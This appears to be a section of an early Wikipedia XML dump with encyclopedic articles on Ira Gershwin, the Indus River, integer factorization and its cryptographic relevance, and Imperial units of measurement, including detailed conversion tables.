* François Bugnion: ''Towards a comprehensive Solution to the Question of the Emblem.'' Revised third edition. ICRC (ref. 0778), Geneva 2005

==External links==
{{commons|International Red Cross and Red Crescent Movement}}

* [http://www.redcross.int International Red Cross and Red Crescent Movement]
* [http://www.icrc.org International Committee of the Red Cross (ICRC)]
* [http://www.ifrc.org International Federation of Red Cross and Red Crescent Societies (IFRC)]

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    <title>International Federation of Red Cross and Red Crescent Societies</title>
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  <page>
    <title>Ira Gershwin</title>
    <id>15489</id>
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      <text xml:space="preserve">{{cleanup-date|July 2005}}

&lt;!-- Unsourced image removed: [[image:gershwin2.jpg|right|thumb|175px|George (left) and Ira Gershwin]] --&gt;

'''Ira Gershwin''' ([[6 December]] [[1896]] &amp;ndash;  [[17 August]] [[1983]]) was an [[United States|American]] [[lyricist]] who collaborated with his younger brother, [[composer]] [[George Gershwin]], to create some of the most memorable songs of the 20th century.

With George he wrote more than a dozen Broadway shows, featuring songs such as &quot;I Got Rhythm,&quot; &quot;Embraceable You,&quot; &quot;The Man I Love&quot; and &quot;Someone to Watch Over Me&quot;, and the opera ''[[Porgy and Bess]]''.

The success the brothers had with their collaborative works has often overshadowed the creative role that Ira played. However, his mastery of songwriting continued even after the early death of George, and he wrote further hit songs with composers [[Jerome Kern]] (&quot;Long Ago (And Far Away)&quot;, [[Kurt Weill]] and [[Harold Arlen]].

His critically-acclaimed book ''Lyrics on Several Occasions'' of [[1959]], an amalgam of autobiography and annotated anthology, is an important source for studying the art of the lyricist in the golden age of American popular song.

==Biography==
'''Ira Gershwin''' (born '''Israel Gershowitz''') was reportedly very shy as a young boy and spent most of his time at home reading. However, from [[Grammar school|grammar school]] through college he played a prominent part in several school newspapers and magazines. While his younger brother began composing and “plugging” in [[Tin Pan Alley]] from the age of sixteen, Ira worked as a cashier in his father’s [[Turkish bath]]s- still unsure of his calling. But in [[1921]] he found it. [[Alex Aarons]] signed Ira to write the music for his next show, ''[[Two Little Girls in Blue]]'', with [[Vincent Youmans]]. His lyrics were well received and allowed him to successfully enter the theatre world with just one show.

It wasn’t until [[1924]] that Ira and George teamed up to write the music for their first [[Broadway theatre|Broadway]] hit, ''[[Lady Be Good|Lady, Be Good!]]'' Once the brothers joined together, their talents exploded into what would become one of the most influential forces in the history of [[American Musical Theatre]]. Together, Ira and George wrote the music for over twelve shows and four films. Some of their more famous works include “[[The Man I Love]]”, “[[Fascinating Rhythm]]”,  “[[Someone to Watch Over Me]]”, “[[I Got Rhythm]]” “[[Summertime (song)|Summertime]]” and “[[They Can't Take That Away from Me]]”. Their partnership continued up until George’s sudden and tragic death in [[1937]].

Following his brother’s death, Ira waited nearly three years before writing again. After this interlude, he teamed up with such accomplished composers as [[Jerome Kern]], [[Kurt Weill]], and [[Harold Arlen]]. Over the next fourteen years, Ira continued to write the lyrics for many film scores and a few Broadway shows. 

Ira died on [[August 15]], [[1983]], and is now interred in the [[Westchester Hills Cemetery]], [[Hastings-on-Hudson, New York]]. Together, the Gershwin siblings left behind a legacy that would help shape American Musical Theatre. Solely, Ira played a huge part in bringing about a new type of song lyric: a smart, witty style that even the common man could relate to and enjoy.

==Comments on the Gershwin collection at the Library of Congress==
From Library of Congress publication (presumably in the public domain, as are all US Govt. publications) http://www.loc.gov/loc/lcib/9809/gershwin.html

The music of George and Ira Gershwin runs deep in the American consciousness. The opening clarinet glissando from ''[[Rhapsody in Blue]],'' the taxi horn theme from ''[[An American in Paris]]'' and the songs &amp;mdash; &quot;I Got Rhythm,&quot; &quot;Embraceable You,&quot; &quot;The Man I Love,&quot; &quot;Someone to Watch Over Me,&quot; &quot;Fascinating Rhythm,&quot; and many others &amp;mdash; are instantly recognizable. Mere mention of the name &quot;Gershwin&quot; brings to mind the sophisticated glamour of the '20s and '30s, personified by the brothers who helped to give those decades their musical voice.

But if the Gershwins symbolize a time, their music and words transcend it. The proliferating performances and recordings of their music testify to its enduring popularity, and George and Ira continue to be the subjects of both popular and scholarly study. 

Ira Gershwin was a joyous listener to the sounds of the modern world.  He noted in a diary: &quot;Heard in a day: An elevator's purr, telephone's ring, telephone's buzz, a baby's moans, a shout of delight, a screech from a `flat wheel,' hoarse honks, a hoarse voice, a tinkle, a match scratch on sandpaper, a deep resounding boom of dynamiting in the impending subway, iron hooks on the gutter.&quot;

George's beautiful manuscript full score for ''[[Porgy and Bess]]'' conveys his care in creating the opera and the importance he attached to it. Song manuscripts with erasures and corrections present the youthful composer whom [[Edward Jablonski]] has called the &quot;Jazz Age Meteor.&quot; Similarly, Ira's lyric sheets, with experimental [[rhyme]]s, unused [[couplet]]s and various corrections, show us Jablonski's &quot;Contemplative Craftsman.&quot; No fewer than 17 pages of lyric drafts survive for the Ira Gershwin-[[Jerome Kern]] classic &quot;Long Ago (And Far Away).&quot; Also included are the so-called Secaucus manuscripts (scores and lyric sheets found in a Secaucus, N. J., Warner Bros. warehouse), George's harmony exercises, and eight of his musical sketchbooks.

==Further reading==
*Ira Gerswhin - ''Lyrics on Several Occasions: a selection of stage and screen lyrics written for sundry situations and now arranged in arbitrary categories, to which have been added many informative annotations and disquistions on their why and wherefore, their whom-for, their how, and matters associative'' (1959)

==References==
{{cite book | author=Rosenberg, Deena | title=Fascinating Rhythm: The Collaboration of George and Ira Gershwin | publisher= Penguin Books USA Inc. | year=1991 | id=ISBN 0-525-93356-5}}

==External links==
* [http://www.gershwinfan.com/ Gershwin fan site]
* [http://www.loc.gov/loc/lcib/9809/gershwin.html Library of Congress Gershwin collection]

{{Porgy}}

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[[Category:Jewish American musicians|Gershwin, Ira]]
[[Category:Jewish classical musicians|Gershwin, Ira]]
[[Category:Jewish composers and songwriters|Gershwin, Ira]]

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  <page>
    <title>Indus River</title>
    <id>15490</id>
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      <comment>Reverted edits by [[Special:Contributions/65.254.9.2|65.254.9.2]] ([[User talk:65.254.9.2|talk]]) to last version by Shyamsunder</comment>
      <text xml:space="preserve">The '''Indus''' (sometimes considered a [[misnomer]]{{Citation needed}}) is the [[English language|English]] name for the Sengge Chu which flows from Tibet into Ladakh and Baltistan, finally arriving into Pakistan. Also called [[Sindh]] Nadi (''nadi'' literally means &quot;river&quot;), known as the ''Sindhu'' in [[Sanskrit]], ''Sinthos'' in [[Greek language|Greek]], and ''Sindus'' in [[Latin]], is the principal [[river]] of [[Pakistan]]. Before the [[partition of India]] into the modern states of [[India]] and Pakistan in 1947, the Indus was second only to the [[Ganges]] in terms of cultural and commercial importance for the subcontinent, and the name [[India]] is derived from the root of the river's name. The river originates in [[Tibet]], flowing from the [[Himalaya]] in a north-westernly direction through [[Kashmir]], and then turning south for nearly the entire length of Pakistan. Figures for the total length of the river vary between 2900 and 3200 km. The [[Indus Valley Civilization]] had some of the earliest urban settlement in the world.
[[Image: Indus.jpg|thumb|300px|The Indus River in northern [[Pakistan]], near the rock Aornus.]]

== Course and Hydrology ==
The ultimate source of the Indus is actually in [[Tibet]]; it begins at the confluence of the [[Sengge River]] and [[Gar River]] that drain the [[Nganglong Kangri]] and [[Gangdise Shan]] ranges.  The Indus then flows northwest through [[Ladakh-Baltistan]] into Gilgit just south of the [[Karakoram]] range, then gradually bends to the south, coming out of the hills between [[Peshawar]] and [[Rawalpindi]].  It is dammed in this area also, forming the [[Tarbela Reservoir]].  The remainder of its route to the sea is in plains of the [[Punjab region|Punjab]] and [[Sind]], and the river becomes slow-flowing and highly braided. It is joined by [[Panjnad]] river at [[Mithankot]]. Passing by [[Hyderabad, Pakistan|Hyderabad]], it ends in a large delta to the southeast of [[Karachi]].

=== Tributaries === 
[[Image:Indus.A2002274.0610.1km.jpg|thumb|200px|Satellite image of the Indus River basin.]]
* [[Shigar River]]
* [[Zangskar River]]
* [[Suru Chu River]]
* [[Wakha River]]
* [[Shingo River]]
* [[Gar River]]
* [[Astore River]]
* [[Gilgit River]]
* [[Ghizar River]]
* [[Hunza River]]
'''* [[Gumal River]]
* [[Zhob River]]'''
* [[Kabul River]]
* [[Kunar River]]
* [[Sutlej River]]
* [[Shyok River]]
* [[Beas River]]
* [[Chenab River]]
* [[Jhelum River]]
* [[Ravi River]]
=== Other ===
The Indus is one of the few rivers in the world that exhibit a [[tidal bore]].

The Indus is, by volume, the largest ''exotic river'' (one that mainly flows through a country from which it receives no water) in the world.

== History and Archeology ==
The [[Indus Valley Civilization]] was one of the three earliest civilizations of the ancient world, the other two being [[Sumer]] (in [[Mesopotamia]]/[[Iraq]]) and [[ancient Egypt]]. The major cities of the Indus Valley civilization, such as [[Harappa]] and [[Mohenjo Daro]], date back to around 3300 BC, and represent some of the largest human habitations of the ancient world.
== Wildlife ==
The [[Indus River Dolphin]] is a sub-species of Dolphins found only in the Indus River. It formerly also occurred in the tributaries of the Indus river. [[Palla fish]] (''[[Hilsa ilisha]]'') of the river is a delicacy for people living along the river.
Located southeast of [[Karachi]], the large delta has been recognised by conservationists as one of the world's most important ecological regions.
== See also ==
* [[Geography of India]]
* [[Geography of China]]

* [[Geography of Pakistan]]
* [[Indus River Delta]]
* [[Indus Water Treaty]]
==External links==
* [http://www.northernareas.org.pk/ Northern Areas Development Gateway]
* [http://www.macp-pk.org/home.asp The Mountain Areas Conservancy Project]
* [http://earthtrends.wri.org/maps_spatial/maps_fullscale.cfm?mapID=355&amp;theme=2 Indus River watershed map (World Resources Institute)]
[[Category:Rivers of Pakistan]][[Category:Rivers of Tibet]]
[[Category:Sindh]]
[[Category:Indus Valley Civilization]]

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  <page>
    <title>Integer factorization</title>
    <id>15491</id>
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      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">In [[number theory]], the '''integer factorization''' problem is the problem of finding a 
[[divisor|non-trivial divisor]] of a [[composite number]]; for example, given a number like 91, the challenge is to find a number such as 7 which [[divides]] it.  

When the numbers are very large, no efficient [[algorithm]] is known;  a recent effort which factored a 200 digit number ([[RSA-200]]) took eighteen months and used over half a century of computer time. The supposed difficulty of this problem is at the heart of certain algorithms in [[cryptography]] such as [[RSA]].  Many areas of [[mathematics]] and [[computer science]] have been brought to bear on the problem, including [[elliptic curves]], [[algebraic number theory]], and [[quantum computer|quantum computing]].

Not all numbers of a given length are equally hard to factor.  Given the state of the art as of [[2006]], the hardest instances of these problems are those where the factors are two randomly-chosen prime numbers of about the same size.

==Prime decomposition==
By the [[fundamental theorem of arithmetic]], every positive integer has a unique prime factorization.  Given an algorithm for integer factorization, one can factor any integer down to its constituent primes by repeated application of this algorithm.

==Practical applications==
The hardness of this problem is at the heart of several important cryptographic systems.  A fast integer factorization algorithm would mean that the [[RSA]] [[public-key]] algorithm was insecure.  Some cryptographic systems, such as the [[Rabin cryptosystem|Rabin public-key algorithm]] and the [[Blum Blum Shub]] [[pseudo-random number generator]] can make a stronger guarantee - any means of breaking them can be used to build a fast integer factorization algorithm, so if integer factorization is hard then they are strong.  In contrast, it may turn out that there are attacks on the [[RSA problem]] more efficient than integer factorization, though none are currently known.

A similar hard problem with cryptographic applications is the [[discrete logarithm problem]].

==Current state of the art==
A team at the German Federal Agency for Information Technology Security ([[BSI]]) holds the record for factorization of [[semiprimes]] in the series proposed by the [[RSA Factoring Challenge]] sponsored by [[RSA Security]]. On May 9, [[2005]], this team announced factorization of [[RSA-200]], a 663-bit number (200 decimal digits), using the [[general number field sieve]].

The same team later announced factorization of [[RSA-640]], a smaller number containing 193 decimal digits (640 bits), on November 4, 2005.

Both factorizations required several months of computer time using the combined power of 80 [[AMD]] [[Opteron]] CPUs.

===Difficulty and complexity===
If a large, ''b''-[[bit]] number is the product of two primes that are roughly the same size, then no [[algorithm]] is known that can factor in polynomial time.  That means there is no known algorithm that can factor it in time [[Big O notation|O]](''b''&lt;sup&gt;''k''&lt;/sup&gt;) for any constant ''k''.  There are algorithms, however, that are faster than [[Big O notation|&amp;Theta;]](e&lt;sup&gt;''b''&lt;/sup&gt;).  In other words, the best known algorithms are sub-exponential, but super-polynomial.  In particular, the best known asymptotic running time is for the [[general number field sieve]] (GNFS) algorithm, which, for a number n, is:

:&lt;math&gt;O\left(\exp\left(\left(\begin{matrix}\frac{64}{9}\end{matrix} \log n\right)^{1\over3} (\log \log n)^{2\over3}\right)\right)&lt;/math&gt; 

For an ordinary computer, GNFS is the best known algorithm for large ''n''.  For a [[quantum computer]], however, [[Peter Shor]] discovered an algorithm in 1994 that solves it in [[polynomial time]].  This will have significant implications for cryptography if a large quantum computer is ever built.  [[Shor's algorithm]] takes only O((''log n'')&lt;sup&gt;3&lt;/sup&gt;) time and O(log ''n'') space.    In 2001, the first 7-qubit quantum computer became the first to run Shor's algorithm.  It factored the number 15.

It is not known exactly which [[computational complexity theory|complexity classes]] contain the integer factorization problem.  The [[decision problem|decision-problem]] form of it (&quot;does ''N'' have a factor less than ''M''?&quot;) is known to be in both [[NP (complexity)|NP]] and [[co-NP]].  This is because both YES and NO answers can be checked if given the prime factors along with their [[primality certificate]]s.  It is known to be in [[BQP]] because of [[Shor's algorithm]].  It is suspected to be outside of all three of the complexity classes [[P (complexity)|P]], [[NP-Complete]], and [[co-NP-Complete]].  If it could be proved that it is in either NP-Complete or co-NP-Complete, that would imply NP = co-NP.  That would be a very surprising result, and therefore integer factorization is widely suspected to be outside both of those classes.  Many people have tried to find classical polynomial-time algorithms for it and failed, and therefore it is widely suspected to be outside P. Another problem in NP but not believed to be in P or NP-complete is the [[graph isomorphism problem]].

Interestingly, the decision problem &quot;is ''N'' a [[composite number]]?&quot;  (or equivalently: &quot;is ''N'' a [[prime number]]?&quot;) appears to be much easier than the problem of actually finding the factors of ''N''. Specifically, the former can be solved in polynomial time (in the number ''n'' of digits of ''N''), according to a recent preprint given in the references, below.  In addition, there are a number of [[randomized algorithm|probabilistic algorithm]]s that can test primality very quickly if one is willing to accept the small possibility of error.  The easiness of [[primality test]]ing is a crucial part of the [[RSA]] algorithm, as it is necessary to find large prime numbers to start with.

==Factoring algorithms==
===Special-purpose===
A special-purpose factoring algorithm's running time depends on the properties of its unknown factors: size, special form, etc. Exactly what the running time depends on, varies between algorithms.

* [[Trial division]]
* [[Pollard's rho algorithm]]
* [[Pollard's p-1 algorithm]]
* [[William's p plus 1 algorithm|Williams' p+1 algorithm]]
* [[Lenstra elliptic curve factorization]]
* [[Fermat's factorization method]]
* [[Special number field sieve]]

===General-purpose===
A general-purpose factoring algorithm's running time depends solely on the size of the integer to be factored. This is the type of algorithm used to factor [[RSA number]]s. Most general-purpose factoring algorithms are based on the [[congruence of squares]] method.

* [[Dixon's algorithm]]
* [[Continued fraction factorization]] (CFRAC)
* [[Quadratic sieve]]
* [[General number field sieve]]
* [[Shanks' square forms factorization]] (SQUFOF)

===Other notable algorithms===
* [[Shor's algorithm]], for [[quantum computer]]s

==External links==
*Richard P. Brent, &quot;Recent Progress and Prospects for Integer Factorisation Algorithms&quot;, ''Computing and Combinatorics&quot;'', 2000, pp.3-22. [http://citeseer.ist.psu.edu/327036.html download]
*Manindra Agarwal, Nitin Saxena, Neeraj Kayal, &quot;PRIMES is in P&quot;, Preprint, August 6, 2002, http://www.cse.iitk.ac.in/news/primality.html
* The &quot;PRIMES is in P&quot; FAQ [http://crypto.cs.mcgill.ca/~stiglic/PRIMES_P_FAQ.html http://crypto.cs.mcgill.ca/~stiglic/PRIMES_P_FAQ.html]
* [ftp://ftp.computing.dcu.ie/pub/crypto/factor.exe] is a public-domain integer factorization program for Windows. It claims to handle 80-digit numbers. See also the web site for this program [http://indigo.ie/~mscott/ MIRACL]
* [http://www.alpertron.com.ar/ECM.HTM http://www.alpertron.com.ar/ECM.HTM] is an integer factorization Java applet that uses the Elliptic Curve Method and the Self Initializing Quadratic Sieve.
* [http://www.rsasecurity.com/rsalabs/node.asp?id=2093 The RSA Challenge Numbers] - a factoring challenge.
* Eric W. Weisstein, [http://mathworld.wolfram.com/news/2005-11-08/rsa-640/ &amp;ldquo;RSA-640 Factored,&amp;rdquo;] ''MathWorld Headline News'', November 8, 2005, http://mathworld.wolfram.com/news/2005-11-08/rsa-640/

==References==
* [[Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Section 4.5.4: Factoring into Primes, pp.379&amp;ndash;417.
* {{cite book|author = [[Richard Crandall]] and [[Carl Pomerance]] | year = 2001 | title = Prime Numbers: A Computational Perspective | publisher = Springer | edition = 1st edition | id = ISBN 0387947779}} Chapter 5: Exponential Factoring Algorithms, pp.191&amp;ndash;226. Chapter 6: Subexponential Factoring Algorithms, pp.227&amp;ndash;284. Section 7.4: Elliptic curve method, pp.301&amp;ndash;313.

[[Category:Integer factorization algorithms|*]]

[[ar:مشكلة التفكيك إلى جداء عوامل أولية]]
[[de:Faktorisierungsverfahren]]
[[fr:Décomposition en produit de facteurs premiers]]
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[[pl:Faktoryzacja]]
[[ru:Факторизация]]
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[[sv:Faktorisering]]
[[zh:整数分解]]</text>
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  <page>
    <title>Imperial unit</title>
    <id>15492</id>
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      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about post-1824 Imperial units, please see also [[English unit]], [[U.S. customary unit]] or [[Avoirdupois]].''

The '''Imperial units''' or the '''Imperial system''' is a [[system of units|collection]] of [[English unit]]s, first defined in the Weights and Measures Act&lt;!--s--&gt; of 1824&lt;!-- and 1879--&gt;, later refined (until 1959) and reduced. The units were introduced in the [[United Kingdom]] and its colonies, including [[Commonwealth of Nations|Commonwealth]] countries, but excluding the then already independent [[United States]].  Systems of Imperial units are sometimes referred to as '''foot-pound-second''', after the base units of length, weight and time.

== Relation to other systems ==
[[Comparison of the Imperial and U.S. customary systems|The distinction]] between this imperial system and the [[U.S. customary unit]]s (also called standard units there) or older British/English units/systems and newer additions is often not drawn precisely. Most length units are shared among the Imperial and U.S. systems, albeit partially and temporally defined slightly differently. Capacity measures differ the most due to the introduction of the Imperial [[gallon]] and the unification of wet and dry measures. The [[avoirdupois]] system only applies to weights; it has a ''long'' flavour and a ''short'' flavour for the hundredweight and ton.

The term ''imperial'' should not be applied to English units that were outlawed in Weights and Measures Act of 1824 or earlier, or which had fallen out of use by that time, nor to post-imperial inventions such as the [[slug (mass)|slug]] or [[poundal]]. 

Although most of the units are defined in more than one system, some subsidiary units were used to a much greater extent, or for different purposes, in one area rather than the other.

== Measures of length ==
[[Image:ImperialStandardsOfLength1876TrafalgarSquare Copyright2005KaihsuTai.jpg|thumb|right|Imperial standards of length 1876 in [[Trafalgar Square]], [[London]].]]
After the [[1 July]] [[1959]] deadline, agreed upon in 1958, the U.S. and the British yard were defined identically (0.9144 m) to the ''international yard''. Metric equivalents in this article usually assume this latest official definition. Before this date, the most precise measurement of the Imperial Standard Yard was 0.914398416 m (Sears et al. 1928. ''Phil Trans A'' 227:281).

{| class=&quot;wikitable&quot;
|-
! &amp;nbsp;
! inch
! link
! foot
! yard
! pole
! chain
! furlong
! mile
! league
! [[metre]]
|-
! one [[inch]]
|'''1'''
| 100/792
| 1/12
| 1/36
| 1/198
| 1/792
| 1/7,920
| 1/63,360
| 1/190,080
| 0.0254
|-
! one [[link (unit)|link]]
| 792/100
| '''1'''
| 66/100
| 22/100
|  4/100
|  1/100
|  1/1000
|  1/8,000
|  1/24,000
| 0.201168
|-
! one [[foot (unit of length)|foot]]
| 12
| 100/66
| '''1'''
| 1/3
| 2/33
| 1/66
| 1/660
| 1/5,280
| 1/15,840
| 0.3048
|-
! one [[yard]]
| 36
| 100/22
| 3
| '''1'''
| 2/11
| 1/22
| 1/220
| 1/1,760
| 1/5,280
| 0.9144
|-
! one [[pole (unit of length)|pole]]*
| 198
| 25
| 16½
| 5½
| '''1'''
| 1/4
| 1/40
| 1/320
| 1/960
| 5.0292
|-
! one [[chain (unit)|chain]]
| 792
| 100
| 66
| 22
| 4
| '''1'''
| 1/10
| 1/80
| 1/240
| 20.1168
|-
! one [[furlong]]
| 7,920
| 1,000
| 660
| 220
| 40
| 10
| '''1'''
| 1/8
| 1/24
| 201.168
|-
! one [[mile]]
| 63,360
| 8,000
| 5,280
| 1,760
| 320
| 80
| 8
| '''1'''
| 1/3
| 1,609.344
|-
! one [[league (unit)|league]]
| 190,080
| 24,000
| 15,840
| 5,280
| 960
| 240
| 24
| 3
| '''1'''
| 4,828.032
|}
&amp;nbsp;*&amp;nbsp; ''The pole is also called rod or perch.''

Until the adoption of the international definition of 1852 metres in 1970, the British [[nautical mile]] was defined as 6080 feet (1.85318 km).  It was not readily expressible in terms of any of the intermediate units, because it was derived from the circumference of the Earth (like the original [[metre]]).&lt;!--Cable length? Shackle?--&gt; Depth of water at sea was expressed in [[fathom]]s (6 feet = 1.8288 m).

== Measures of area ==
{|
|+ Area
!1 ''[[rood]]''
| = 1 furlong × 1 rod   || = 40 square rods  || = 10890 square feet || = 0.10117141056 ha || = 1011.7141056 m²
|-
!1 ''[[acre]]'' 
| = 1 furlong × 1 chain || = 160 square rods || = 1/640 square mile || = 0.40468564224 [[hectare|ha]] || = 4046.8564224 m²
|-
|}

== Measures of volume ==

In [[1824]], Britain adopted a close approximation to the ale gallon known as the Imperial gallon. The Imperial gallon was based on the volume of 10 [[Pound (weight)|lb]] of distilled water weighed in air with brass weights with the barometer standing at 30 [[inch of mercury|in]] and at a temperature of 62 [[Fahrenheit|°F]]. In 1963, this definition was refined as the space occupied by 10 lb of distilled water of density 0.998&amp;nbsp;859&amp;nbsp;[[gram|g]]/[[millilitre|mL]] weighed in air of density 0.001&amp;nbsp;217&amp;nbsp;g/mL against weights of density 8.136&amp;nbsp;g/mL. This works out to exactly 4.545&amp;nbsp;964&amp;nbsp;591&amp;nbsp;L, or 277.420 in&amp;sup3;. The Weights and Measures Act of 1985 finally switched to a gallon of exactly 4.546&amp;nbsp;09&amp;nbsp;L (approximately 277.419&amp;nbsp;43&amp;nbsp;cu&amp;nbsp;in&lt;!--- 277.419432791621488754788533199114 ---&gt;) [http://www.sizes.com/units/gallon_imperial.htm].
{|
|+ Wet &lt;!-- The wet and dry distinction should be superfluous, although usage may be so. --&gt;
!1 [[fluid ounce]]
|            ||           ||           || = 0.028 413 062 5 L
|-
!1 [[gill (unit)|gill]]
|            ||           || =   5 oz. || = 0.142 065 312 5 L
|-
!1 [[pint]]
|            || = 4 gills || =  20 oz. || = 0.568 261 25 L
|-
!1 [[quart]]
|            || = 2 pints || =  40 oz. || = 1.136 522 5 L
|-
!1 [[gallon]]
| = 4 quarts || = 8 pints || = 160 oz. || = 4.546 09 L
|}
{|
|+ Dry
!1 [[peck]]&lt;!-- Imperial or just English? --&gt;
|               ||              || =   2 gal. || = 9.092 18 L
|-
!1 [[Kenning (disambiguation)|kenning]] or bucket&lt;!-- Imperial or just English? --&gt;
|               || =  2 pecks   || =   4 gal. || = 18.184 36 L
|-
!1 [[bushel]]
| = 2 kennings  || =  4 pecks   || =   8 gal. || =     36.368 72 L
|-
!1 [[strike (unit)|strike]]&lt;!-- Imperial or just English? --&gt;
|               || =  2 bushels || =  16 gal. || =   72.737 44 L
|-
!1 [[quarter (unit)|quarter]] or pail&lt;!-- Imperial or just English? --&gt;
|               || =  8 bushels || =  64 gal. || =  290.949 76 L
|-
!1 [[chaldron]]&lt;!-- Imperial or just English? --&gt;
| = 4 quarters  || = 32 bushels || = 256 gal. || = 1163.799 04 L
|-
!1 [[last (unit)|last]]&lt;!-- Imperial or just English? --&gt;
| = 10 quarters || = 80 bushels || = 640 gal. || = 2909.497 6 L
|}
{|
|+ Brewery&lt;!-- Imperial or just English? --&gt;
!1 [[firkin]]
|               ||            || =  9 gal. || =  40.914 81 L
|-
!1 [[kilderkin]]
|               || = 2 firkin || = 18 gal. || =  81.829 62 L
|-
!1 [[barrel (unit)|barrel]]
| = 2 kilderkin || = 4 firkin || = 36 gal. || = 163.659 24 L
|-
!1 [[hogshead]] (of beer)
| = 3 kilderkin || = 6 firkin || = 54 gal. || = 245.488 86 L
|}

The full table of British apothecaries' measure is as follows:&lt;!--abolished when? 1879 IIRC--&gt;

{|
|+ Apothecaries' measure
!1 ''[[minim (unit)|minim]]''
|                   ||             || = 0.059 193 880 208¯3 mL
|-
!1 ''fluid scruple'' 
|                   || = 20 minims || = 1.183 877 604 1¯6 mL
|-
!1 [[Dram (volume)|fluid dram]] or ''fluidram'' 
|= 3 fluid scruples || = 60 minims || = 3.551 632 812 5 mL
|-
!1 fluid ounce 
|= 8 fluid drachms  || = 480 minims || = 28.413 062 5 mL
|-
!1 pint 
|                   || = 20 fluid ounces || = 568.261 25 mL
|-
!1 gallon 
| = 8 pints         || = 160 fluid ounces || = 4.546 09 L
|}

For a comparison to the U.S. customary system see the article on [[Comparison of the Imperial and US customary systems]].

== Measures of weight and mass ==
Britain has made some use of three different weight systems, [[troy weight]], used for precious metals, [[avoirdupois]] weight, used for most other purposes, and [[apothecaries' weight]], now virtually unused since the metric system is used for all scientific purposes.  

The use of the ''[[Pound (weight)|troy pound]]'' (373.241 721 6 g) was abolished in Britain on January 6, 1879, &lt;!-- should this be 1 Jan? It's in Weights and Measures Act of 1878 ... Is it even Imperial? --&gt;with only the ''troy ounce'' (31.103 476 8 g) and its [[decimal]] subdivisions retained.  In all the systems, the fundamental unit is the [[Pound (weight)|pound]], and all other units are defined as fractions or multiples of it.

{|
|+ Avoirdupois Mass
!1 mite&lt;!-- Imperial or just English? --&gt;
| = 1/20 grain      ||               || =            3.239 945 5 mg
|-
!1 grain 
|                   ||               || =           64.798 91 mg
|-
!1 drachm 
| = 1/16 ounce      || = 1/256 pound || =        1.771 845 195 312 5 g
|-
!1 ounce 
|                   || = 1/16 pound  || =       28.349 523 125 g
|-
!1 pound 
| = 7000 grains     ||               || =      453.592 37 g
|-
!1 stone 
|                   || =   14 pounds || =    6.350 293 18 kg
|-
!1 quarter 
| = 2 stone         || =   28 pounds || =   12.700 586 36 kg &lt;!-- the plural of stone is stone. 1 stone, 2 stone, etc. --&gt;
|-
!1 hundredweight 
| = 4 quarters      || =  112 pounds || =   50.802 345 44 kg
|-
!1 ton 
|= 20 hundredweight || = 2240 pounds || = 1016.046 908 8 kg
|}

Note that the British [[ton]] is 2240 pounds (the [[long ton]]), which is very close to a metric [[tonne]], whereas the ton generally used in the United States is the &quot;short ton&quot; of 2000 pounds (907.184 74 kg), both are 20 hundredweights.  For more on Commonwealth-U.S. differences see ''[[Comparison of the Imperial and US customary systems]]''.

== Current use of Imperial units ==

British law now defines each Imperial unit entirely in terms of the metric equivalent. See the 
[http://www.hmso.gov.uk/si/si1995/Uksi_19951804_en_2.htm Units of Measurement Regulations 1995]. This regulation effectively outlaws their usage in retail and trading except in previously established exceptions. This has now been proved by in court against the so called '[[Metric Martyrs]]', a small group of market traders. Despite this, many small market traders still use the customary measures, citing customer preference especially among the older population.

In the United States and in a few [[Caribbean]] countries, the [[U.S. customary units]], which are similar to Imperial units based upon older [[English unit]]s and in part share definitions, are still in common use.  English units have been replaced elsewhere by the [[SI]] (metric) system. Most Commonwealth countries have switched entirely to the international system of units.

The United Kingdom completed its legal transition to SI units in 1995, but a few such units are still in official use: draught beer ''must'' still be sold in [[pint]]s, most roadsign distances are still in yards and miles, and speed limits are in [[miles per hour]], therefore interfaces in cars ''must'' have miles, and even though the [[troy weight|troy pound]] was outlawed in Great Britain in the Weights and Measures Act of 1878, the ''troy ounce'' still ''may'' be used for the weight of precious stones and metals. The use of SI units is increasingly mandated by law for the retail sale of food and other commodities, but most British people still use Imperial units in colloquial discussion of distance (miles and yards), speed (miles per hour), weight (stone and pounds), liquid (pints and gallons) and height (feet and inches).

In Canada, the government's efforts to implement the metric system were more extensive: pretty much any agency, institution, or thing provided by the government will use SI units exclusively. Imperial units were eliminated from all road signs, although both systems of measurement will still be found on privately-owned signs (such as the height warnings at the entrance of a multi-story parking facility). Temperatures in degrees Fahrenheit will occasionally be heard on English Canadian commercial radio stations, but only those that cater to older listeners. The law requires that measured products (such as fuel and meat) be priced in metric units, although there is leniency in regards to fruits and vegetables. Traditional units persist in ordinary conversation and may be experiencing a resurgence due to the reduction in trade barriers with the United States. Few Canadians would use SI units to describe their weight and height, although driver's licences use SI units. In livestock auction markets, cattle are sold in dollars per hundredweight (short, of course), whereas hogs are sold in dollars per hundred kilograms. Land is surveyed and registered in metric units, but imperial units still dominate in construction, house renovation and gardening talk (although &quot;two-by-fours&quot; don't ''actually'' measure 2&amp;times;4&quot;, for example).

One area where Imperial units are still in current use is in firearms and ammunition. For example, Imperial measures are still used in the description of cartridge types, even where the cartridge is of relatively recent invention (e.g., .204 Ruger, .17 HMR, where the caliber is expressed in decimal fractions of an inch). In the manufacture of ammunition, bullet and powder weights are still expressed in terms of Imperial grains.

== See also ==
* [[Conversion of units]]
* [[Cooking weights and measures]]
* [[Metrication]]
* [[Metrified English unit]]
* [[Unit of measurement]]
* [[Systems of measurement]]
* [[History of measurement]]

== References ==
* Appendices B and C of [http://ts.nist.gov/ts/htdocs/230/235/h442003.htm NIST Handbook 44]
* Barry N. Taylor's [http://physics.nist.gov/Pubs/SP811/ NIST Special Publication 811], also available as [http://physics.nist.gov/Document/sp811.pdf a PDF file]

== External links ==
* [http://laws.justice.gc.ca/en/w-6/109089.html Canada - Weights and Measures Act 1970-71-72]
* [http://193.120.124.98/gen531996a.html Ireland - Metrology Act 1996]
* [http://www.hmso.gov.uk/si/si1995/Uksi_19951804_en_2.htm UK - Units of Measurement Regulations 1995]
* [http://www.metric.org.uk/ The UK Metric Association]
* [http://www.bwmaonline.com/ British Weights And Measures Association]
* [http://www.metric4us.com Metric4us.com]
*[http://www.unitconversion.org Unit converters of 99.9% known units in 67 categories]
* Jacques J. Proot's [http://users.aol.com/jackproot/met/spvolas.html Anglo-Saxon weights &amp; measures] page.

[[Category:Imperial units|*]]
[[Category:Systems of units]]

